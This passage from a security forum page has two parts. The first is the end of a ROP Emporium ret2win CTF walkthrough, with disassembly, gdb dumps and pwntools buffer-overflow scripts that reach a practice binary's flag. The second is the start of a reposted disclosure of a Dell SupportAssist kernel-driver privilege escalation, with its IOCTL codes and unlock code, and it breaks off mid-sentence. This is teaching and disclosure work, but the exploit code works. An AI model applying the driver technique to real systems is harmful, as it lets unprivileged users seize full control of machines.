0x8048710 ; "ret2win by ROP Emporium" ; const char * s | 0x080485bc e85ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485c1 83c410 add esp, 0x10 | 0x080485c4 83ec0c sub esp, 0xc | 0x080485c7 6828870408 push str.32bits ; 0x8048728 ; "32bits\n" ; const char * s | 0x080485cc e84ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485d1 83c410 add esp, 0x10 | 0x080485d4 e81d000000 call sym.pwnme | 0x080485d9 83ec0c sub esp, 0xc | 0x080485dc 6830870408 push str.Exiting ; 0x8048730 ; "\nExiting" ; const char * s | 0x080485e1 e83afeffff call sym.imp.puts ; int puts(const char *s) | 0x080485e6 83c410 add esp, 0x10 | 0x080485e9 b800000000 mov eax, 0 | 0x080485ee 8b4dfc mov ecx, dword [local_4h_2] | 0x080485f1 c9 leave | 0x080485f2 8d61fc lea esp, dword [ecx - 4] \ 0x080485f5 c3 ret [0x0804857b]> Notice how the memory address in the prompt changes as we seek to the main function. Now running pdf prints the disassembled main function. We notice that a bunch of stuff is printed using puts and then pwnme is called, so let's take a look at that function. Instead of seeking to where we want to disassemble, we can also just point the pdf command at our function. This functionality is common across a lot of commands, we can point them at functions, flags or memory in the same way. [0x0804857b]> pdf @ sym.pwnme / (fcn) sym.pwnme 99 | sym.pwnme (); | ; var int local_28h @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 8d45d8 lea eax, dword [local_28h] | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 683c870408 push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" ; const char * s | 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 68bc870408 push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" ; const char * s | 0x08048627 e8f4fdffff call sym.imp.puts ; int puts(const char *s) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f 83ec0c sub esp, 0xc | 0x08048632 6821880408 push 0x8048821 ; const char * format | 0x08048637 e8c4fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804863c 83c410 add esp, 0x10 | 0x0804863f a160a00408 mov eax, dword [obj.stdin] ; [0x804a060:4]=0 | 0x08048644 83ec04 sub esp, 4 | 0x08048647 50 push eax | 0x08048648 6a32 push 0x32 ; '2' ; 50 | 0x0804864a 8d45d8 lea eax, dword [local_28h] | 0x0804864d 50 push eax ; char *s | 0x0804864e e8bdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | 0x08048653 83c410 add esp, 0x10 | 0x08048656 90 nop | 0x08048657 c9 leave \ 0x08048658 c3 ret We can see memset at the top being called. Radare helpfully prints the function signature for memset in a comment (after the ;), and we can see it takes a pointer, an int and a size in that order. As this is 32-bit, we can look at the assembly and see that the value 0x20 is pushed to the stack, followed by 0 and a pointer to the variable local_28h immediately before memset is called. As whatever is pushed to the stack last is at the top and is popped first, the arguments to the function are getting pushed on in reverse order so that the first argument is at the top. Appropriately allocating these arguments to the memset function means that memset is zeroing out 0x20 bytes of memory for the variable local_28h. We can also see further down that fgets is being called with 0x32 bytes being written to local_28h from stdin. Radare helpfully tells us in the comments that these are 50 and 32 in decimal, and the string that gets put'd to the screen seems to agree. If we're feeling lazy, we can use radare to do some maths for us here: [0x0804857b]> ? 0x32 - 0x20 18 0x12 022 18 0000:0012 18 "\x12" 0b00010010 18.0 18.000000f 18.000000 0t200 So as 50 bytes of memory are being written into a 32 byte buffer we think we have found the buffer overflow vulnerability location and that we'll have 18 bytes of space in which to fit our exploit! Next, let's take a look at the last interesting function, ret2win, which is the name of the challenge. [0x0804857b]> pdf @ sym.ret2win / (fcn) sym.ret2win 41 | sym.ret2win (); | 0x08048659 55 push ebp | 0x0804865a 89e5 mov ebp, esp | 0x0804865c 83ec08 sub esp, 8 | 0x0804865f 83ec0c sub esp, 0xc | 0x08048662 6824880408 push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:" ; const char * format | 0x08048667 e894fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804866c 83c410 add esp, 0x10 | 0x0804866f 83ec0c sub esp, 0xc | 0x08048672 6841880408 push str.bin_cat_flag.txt ; 0x8048841 ; "/bin/cat flag.txt" ; const char * string | 0x08048677 e8b4fdffff call sym.imp.system ; int system(const char *string) | 0x0804867c 83c410 add esp, 0x10 | 0x0804867f 90 nop | 0x08048680 c9 leave \ 0x08048681 c3 ret This function seems to do everything we could ask of it, calling system with /bin/cat flag.txt. It also takes no arguments, so it looks like we'd just need to return to it to win! Let's make a note of the address of ret2win, 0x08048659, and move on to exploitation. Exploitation We're going to exploit the binary using pwntools, which is an excellent library for python that abstracts away a lot of the headaches and repetition that can come with exploit development. To start with, let's try running the binary: $ ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > test Exiting We can see that it prints the strings we saw earlier and we appear to be correct about the buffer sizes. We enter 'test' and the program just exits, as expected. Let's create a skeleton script to execute and debug our exploit: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") pwn.gdb.attach(t) t.interactive() This script will start the ret2win32 process organically and return a tube (sort of like a handle to the process), attach the gdb debugger to it and then provide us with an interactive session using gdb. If we find that gdb is attaching to the started process too late and our program execution has already passed our breakpoints then we can instead start the process from gdb directly using t = pwn.gdb.debug("./ret2win32"), but until then we'll start it organically to avoid any potential issues. Running our python script results in: $ python pwn_ret2win.py [+] Starting local process './ret2win32': pid 56036 [*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 56036 -x "/tmp/pwnE_DG49.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > $ A gdb session is also created in a separate terminal. This looks to be working as intended to let's continue: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'b *0x08048653', 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) t.recvuntil('\n>') t.sendline("test") t.interactive() This script has a bit more to it. We've created an array of gdb_cmds which we are joining with newline characters (so that they are "entered") which we are passing to gdb via the gdbscript parameter. Presently this array just consists of a breakpoint at the address 0x08048653 and the 'c', or continue, command which continues execution once gdb initially attaches to the process. The 0x08048653 address was taken from radare and is the address of the instruction after fgets is called in the pwnme function, so we can examine memory after the program takes our input. We then continue receiving input until a newline and a ">" prompt is received using t.recvuntil('\n>') as this is what is displayed in the console when the binary is waiting for our input. We then send the string 'test' followed by a newline character using the sendline command. Executing this script results in a gdb session at the breakpoint, as expected. Examining the memory we see our "test" string in the return value of the function (eax) and on the stack: [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f31059 → Name: __kernel_vsyscall() [#1] 0xf7e147d7 → Name: read() [#2] 0xf7da1798 → Name: _IO_file_underflow() [#3] 0xf7da28ab → Name: _IO_default_uflow() [#4] 0xf7d95871 → Name: _IO_getline_info() [#5] 0xf7d959be → Name: _IO_getline() [#6] 0xf7d947a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f31059 in __kernel_vsyscall () Breakpoint 1 at 0x8048653 [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffefeb60 → "test" $ebx : 0x00000000 $ecx : 0xf7f0589c → 0x00000000 $edx : 0xffefeb60 → "test" $esp : 0xffefeb50 → 0xffefeb60 → "test" $ebp : 0xffefeb88 → 0xffefeb98 → 0x00000000 $esi : 0xf7f04000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x08048653 → add esp, 0x10 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $ds: 0x002b $fs: 0x0000 $ss: 0x002b $gs: 0x0063 $cs: 0x0023 $es: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffefeb50│+0x00: 0xffefeb60 → "test" ← $esp 0xffefeb54│+0x04: 0x00000032 ("2"?) 0xffefeb58│+0x08: 0xf7f045c0 → 0xfbad2088 0xffefeb5c│+0x0c: 0xfbad2887 0xffefeb60│+0x10: "test" ← $eax, $edx 0xffefeb64│+0x14: 0x0000000a 0xffefeb68│+0x18: 0x00000000 0xffefeb6c│+0x1c: 0x00000000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x804864a lea eax, [ebp-0x28] 0x804864d push eax 0x804864e call 0x8048410 → 0x8048653 add esp, 0x10 0x8048656 nop 0x8048657 leave 0x8048658 ret 0x8048659 push ebp 0x804865a mov ebp, esp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048653 → Name: pwnme() [#1] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x08048653 in pwnme () gef➤ +1>+0>+98>+97>+96>+93>@plt>+88>+87>+84>+93> Note I'm using gdb with gef which is a great extension and provides the context we see above. Everything seems to be working as expected, so now let's actually try overflowing this thing. #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'b *0x08048653', 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) buf = pwn.cyclic(60, n = 4) t.recvuntil('\n>') t.sendline(buf) t.interactive() Here we've created a cyclic pattern 60 characters in length, with every sequence of four characters being unique using pwn.cyclic(60, n = 4). We've assigned that to the variable buf and sent that as our input. We've chosen four characters as a 32-bit memory address is four bytes in length, so if our overflow overwrites something in memory we can determine at exactly what offset into our input that occurs. Running this and examining memory at our breakpoint: ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f9f059 → Name: __kernel_vsyscall() [#1] 0xf7e827d7 → Name: read() [#2] 0xf7e0f798 → Name: _IO_file_underflow() [#3] 0xf7e108ab → Name: _IO_default_uflow() [#4] 0xf7e03871 → Name: _IO_getline_info() [#5] 0xf7e039be → Name: _IO_getline() [#6] 0xf7e027a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f9f059 in __kernel_vsyscall () Breakpoint 1 at 0x8048653 [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x00000000 $ecx : 0xf7f7389c → 0x00000000 $edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xff84f0d0 → 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebp : 0xff84f108 → "kaaalaaam" $esi : 0xf7f72000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x08048653 → <pwnme+93> add esp, 0x10 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff84f0d0│+0x00: 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $esp 0xff84f0d4│+0x04: 0x00000032 ("2"?) 0xff84f0d8│+0x08: 0xf7f725c0 → 0xfbad2088 0xff84f0dc│+0x0c: 0xfbad2887 0xff84f0e0│+0x10: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $eax, $edx 0xff84f0e4│+0x14: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" 0xff84f0e8│+0x18: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" 0xff84f0ec│+0x1c: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x804864a <pwnme+84> lea eax, [ebp-0x28] 0x804864d <pwnme+87> push eax 0x804864e <pwnme+88> call 0x8048410 <fgets@plt> → 0x8048653 <pwnme+93> add esp, 0x10 0x8048656 <pwnme+96> nop 0x8048657 <pwnme+97> leave 0x8048658 <pwnme+98> ret 0x8048659 <ret2win+0> push ebp 0x804865a <ret2win+1> mov ebp, esp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048653 → Name: pwnme() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x08048653 in pwnme () gef➤ We can see our cyclic string in memory. We can examine memory directly using the examine command in gdb. This command can also take a format, so we specify a string with /s. Checkout this cheetsheet for more information on gdb commands. Once we have the string, we can execute shell commands using !<command> to check its length. As expected from our binary analysis, it's 50 characters in length: gef➤ x/s 0xff84f0e0 0xff84f0e0: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" gef➤ !echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" | wc -c 50 gef➤ Continuing execution with the c command results in a crash! gef➤ c Continuing. Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x00000000 $ecx : 0xf7f7389c → 0x00000000 $edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xff84f110 → 0xf7fa006d → 0x00000000 $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f72000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x6161616c ("laaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff84f110│+0x00: 0xf7fa006d → 0x00000000 ← $esp 0xff84f114│+0x04: 0xff84f130 → 0x00000001 0xff84f118│+0x08: 0x00000000 0xff84f11c│+0x0c: 0xf7db5e81 → <__libc_start_main+241> add esp, 0x10 0xff84f120│+0x10: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f124│+0x14: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f128│+0x18: 0x00000000 0xff84f12c│+0x1c: 0xf7db5e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x6161616c in ?? () gef➤ The process crashed with a segfault, the EIP register was overwritten with 0x6161616c which is the "laaa" portion of our input string. Note that due to the little-endian nature of Intel systems, the memory address 0x6161616c is actually stored in memory as 0x6c 0x61 0x61 0x61. When reading addresses from memory, the least significant bit, or the bit with which represents the smallest value is read first. In hex numbers this bit is displayed on the right, which is why the order is reversed. As 0x61 is the byte value of ASCII 'a' and 0x6c is the byte value of ASCII 'c', this explains why 0x6161616c is shown as laaa and not aaal. We can view this in gdb by examining the memory in different chunks: gef➤ x/4xb 0xff84f10c 0xff84f10c: 0x6c 0x61 0x61 0x61 gef➤ x/xw 0xff84f10c 0xff84f10c: 0x6161616c We can see that when examined as four hex bytes (x/4xb) the bytes are displayed as 0x6c 0x61 0x61 0x61 (laaa), as that is the order they occur in memory. However when examined as a single hexadecimal word (four byte group, x/xw), gdb intelligently handles the endianess for us and displays them it as 0x6161616c. This value is overwriting EIP register or the extended instruction pointer. A CPU register is essentially a variable used by the CPU when executing a program, some have dedicated roles and some are general purpose. This CPU register is a vital one as it's a pointer that points to the next instruction to be executed. Overwriting this register then means that we can control the flow of the program as we can change the value to point to a location of our choosing. Let's alter our script to confirm that we have exact control of EIP: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) offset = pwn.cyclic_find("laaa", n = 4) buf = "A" * offset buf += "B" * 4 buf += "C" * 16 t.recvuntil('\n>') t.sendline(buf) t.interactive() We've dropped our breakpoint as we no longer need it and used the pwntools cyclic_find function to determine the offset into our buffer that overwrites EIP. We've then created a buffer that consists of a number of "A"s equals to our offset, then four "B"s that should overwrite the four-byte EIP address exactly, then 16 "C"s that should come afterwards. Running the script results in the expected crash when EIP can't execute the instruction at 0x42424242 (0x42 is the byte value of ASCII "B"). ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f2f059 → Name: __kernel_vsyscall() [#1] 0xf7e127d7 → Name: read() [#2] 0xf7d9f798 → Name: _IO_file_underflow() [#3] 0xf7da08ab → Name: _IO_default_uflow() [#4] 0xf7d93871 → Name: _IO_getline_info() [#5] 0xf7d939be → Name: _IO_getline() [#6] 0xf7d927a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f2f059 in __kernel_vsyscall () Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $ebx : 0x00000000 $ecx : 0xf7f0389c → 0x00000000 $edx : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $esp : 0xff9db540 → 0xf7f30043 → 0x0252d800 $ebp : 0x41414141 ("AAAA"?) $esi : 0xf7f02000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x42424242 ("BBBB"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $es: 0x002b $ds: 0x002b $gs: 0x0063 $ss: 0x002b $fs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff9db540│+0x00: 0xf7f30043 → 0x0252d800 ← $esp 0xff9db544│+0x04: 0xff9db560 → 0x00000001 0xff9db548│+0x08: 0x00000000 0xff9db54c│+0x0c: 0xf7d45e81 → <__libc_start_main+241> add esp, 0x10 0xff9db550│+0x10: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db554│+0x14: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db558│+0x18: 0x00000000 0xff9db55c│+0x1c: 0xf7d45e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x42424242 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x42424242 in ?? () gef➤ Excellent! Now we just have to figure out where to send the program. The ret2win function from our binary analysis seems like the perfect candidate. If we recall, the memory address of this function was 0x08048659. Let's update our script so that we send execution to this address instead: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) pointer_ret2win = 0x08048659 offset = pwn.cyclic_find("laaa", n = 4) buf = "A" * offset buf += pwn.p32(pointer_ret2win) buf += "C" * 16 t.recvuntil('\n>') t.sendline(buf) t.interactive() We've replaced our four B's with a pointer to ret2win. However as we know we have to make sure we write our bytes in the correct order so that the endianness is taken into account. pwntools has a handy function for doing this for us, pwn.p32() takes a number and packs it as a 32-bit value handling the endianess for us. Executing this results in the ret2win function being called and our flag being printed as /bin/cat flag.txt is invoked via the call to system: $ python pwn_ret2win.py [+] Starting local process './ret2win32': pid 121859 [*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 121859 -x "/tmp/pwnIZOZ88.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $ If we want we can debug the program to see exactly what happens. We notice that after fgets is called part of the stack is overwritten by our buffer. When the pwnme function finishes it performs a ret instruction and the program execution path returns to the return address that is stored on the stack, the location of which has been overwritten by us and now points to ret2win. We have written an exploit that causes the program to return to a location of our choosing, hence return oriented programming. Summary We've had a pretty granular look at the first ropemporium challenge, ret2win. We've used radare2 to perform some binary analysis and pwntools to script our exploit development, creating an exploit that uses a buffer overflow to overwrite the return address of the current function on the stack with a function of our choosing. Next time we'll have a look at the second challenge, split. We'll leave out a lot of the boilerplate that's been covered this time, and start to look at some more advanced uses for our tools. m0rv4i Sursa: https://jmpesp.me/rop-emporium-ret2win-with-radare-and-pwntools/
  6. Dell SupportAssist Driver - Local Privilege Escalation May 17th, 2018 This post details a local privilege escalation (LPE) vulnerability I found in Dell’s SupportAssist[0] tool. The bug is in a kernel driver loaded by the tool, and is pretty similar to bugs found by ReWolf in ntiolib.sys/winio.sys[1], and those found by others in ASMMAP/ASMMAP64[2]. These bugs are pretty interesting because they can be used to bypass driver signature enforcement (DSE) ad infinitum, or at least until they’re no longer compatible with newer operating systems. Dell’s SupportAssist is, according to the site, “(..) now preinstalled on most of all new Dell devices running Windows operating system (..)”. It’s primary purpose is to troubleshoot issues and provide support capabilities both to the user and to Dell. There’s quite a lot of functionality in this software itself, which I spent quite a bit of time reversing and may blog about at a later date. Bug Calling this a “bug” is really a misnomer; the driver exposes this functionality eagerly. It actually exposes a lot of functionality, much like some of the previously mentioned drivers. It provides capabilities for reading and writing the model-specific register (MSR), resetting the 1394 bus, and reading/writing CMOS. The driver is first loaded when the SupportAssist tool is launched, and the filename is pcdsrvc_x64.pkms on x64 and pcdsrvc.pkms on x86. Incidentally, this driver isn’t actually even built by Dell, but rather another company, PC-Doctor[3]. This company provides “system health solutions” to a variety of companies, including Dell, Intel, Yokogawa, IBM, and others. Therefore, it’s highly likely that this driver can be found in a variety of other products… Once the driver is loaded, it exposes a symlink to the device at PCDSRVC{3B54B31B-D06B6431-06020200}_0 which is writable by unprivileged users on the system. This allows us to trigger one of the many IOCTLs exposed by the driver; approximately 30. I found a DLL used by the userland agent that served as an interface to the kernel driver and conveniently had symbol names available, allowing me to extract the following: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // 0x222004 = driver activation ioctl // 0x222314 = IoDriver::writePortData // 0x22230c = IoDriver::writePortData // 0x222304 = IoDriver::writePortData // 0x222300 = IoDriver::readPortData // 0x222308 = IoDriver::readPortData // 0x222310 = IoDriver::readPortData // 0x222700 = EcDriver::readData // 0x222704 = EcDriver::writeData // 0x222080 = MemDriver::getPhysicalAddress // 0x222084 = MemDriver::readPhysicalMemory // 0x222088 = MemDriver::writePhysicalMemory // 0x222180 = Msr::readMsr // 0x222184 = Msr::writeMsr // 0x222104 = PciDriver::readConfigSpace // 0x222108 = PciDriver::writeConfigSpace // 0x222110 = PciDriver::? // 0x22210c = PciDriver::? // 0x222380 = Port1394::doesControllerExist // 0x222384 = Port1394::getControllerConfigRom // 0x22238c = Port1394::getGenerationCount // 0x222388 = Port1394::forceBusReset // 0x222680 = SmbusDriver::genericRead // 0x222318 = SystemDriver::readCmos8 // 0x22231c = SystemDriver::writeCmos8 // 0x222600 = SystemDriver::getDevicePdo // 0x222604 = SystemDriver::getIntelFreqClockCounts // 0x222608 = SystemDriver::getAcpiThermalZoneInfo Immediately the MemDriver class jumps out. After some reversing, it appeared that these functions do exactly as expected: allow userland services to both read and write arbitrary physical addresses. There are a few quirks, however. To start, the driver must first be “unlocked” in order for it to begin processing control codes. It’s unclear to me if this is some sort of hacky event trigger or whether the kernel developers truly believed this would inhibit malicious access. Either way, it’s goofy. To unlock the driver, a simple ioctl with the proper code must be sent. Once received, the driver will process control codes for the lifetime of the system. To unlock the driver, we just execute the following: 1 2 3 4 5 6 7 8 BOOL bResult; DWORD dwRet; SIZE_T code = 0xA1B2C3D4, outBuf; bResult = DeviceIoControl(hDriver, 0x222004, &code, sizeof(SIZE_T), &outBuf, sizeof(SIZE_T), &dwRet, NULL); Once the driver receives this control code and validates the received code (0xA1B2C3D4), it sets a global flag and begins accepting all other control codes. Exploitation From here, we could exploit this the same way rewolf did [4]: read out physical memory looking for process pool tags, then traverse these until we identify our process as well as a SYSTEM process, then steal the token. However, PCD appears to give us a shortcut via getPhysicalAddress ioctl. If this does indeed return the physical address of a given virtual address (VA), we can simply find the physical of our VA and enable a couple token privileges[5] using the writePhysicalMemory ioctl. Here’s how the getPhysicalAddress function works: 1 2 3 4 5 6 7 8 v5 = IoAllocateMdl(**(PVOID **)(a1 + 0x18), 1u, 0, 0, 0i64); v6 = v5; if ( !v5 ) return 0xC0000001i64; MmProbeAndLockPages(v5, 1, 0); **(_QWORD **)(v3 + 0x18) = v4 & 0xFFF | ((_QWORD)v6[1].Next << 0xC); MmUnlockPages(v6); IoFreeMdl(v6); Keen observers will spot the problem here; the MmProbeAndLockPages call is passing in UserMode for the KPROCESSOR_MODE, meaning we won’t be able to resolve any kernel mode VAs, only usermode addresses. We can still read chunks of physical memory unabated, however, as the readPhysicalMemory function is quite simple: 1 2 3 4 5 if ( !DoWrite ) { memmove(a1, a2, a3); return 1; } They reuse a single function for reading and writing physical memory; we’ll return to that. I decided to take a different approach than rewolf for a number of reasons with great results. Instead, I wanted to toggle on SeDebugPrivilege for my current process token. This would require finding the token in memory and writing a few bytes at a field offset. To do this, I used readPhysicalMemory to read chunks of memory of size 0x10000000 and checked for the first field in a _TOKEN, TokenSource. In a user token, this will be the string User32. Once we’ve identified this, we double check that we’ve found a token by validating the TokenLuid, which we can obtain from userland using the GetTokenInformation API. In order to speed up the memory search, I only iterate over the addresses that match the token’s virtual address byte index. Essentially, when you convert a virtual address to a physical address (PA) the byte index, or the lower 12 bits, do not change. To demonstrate, assume we have a VA of 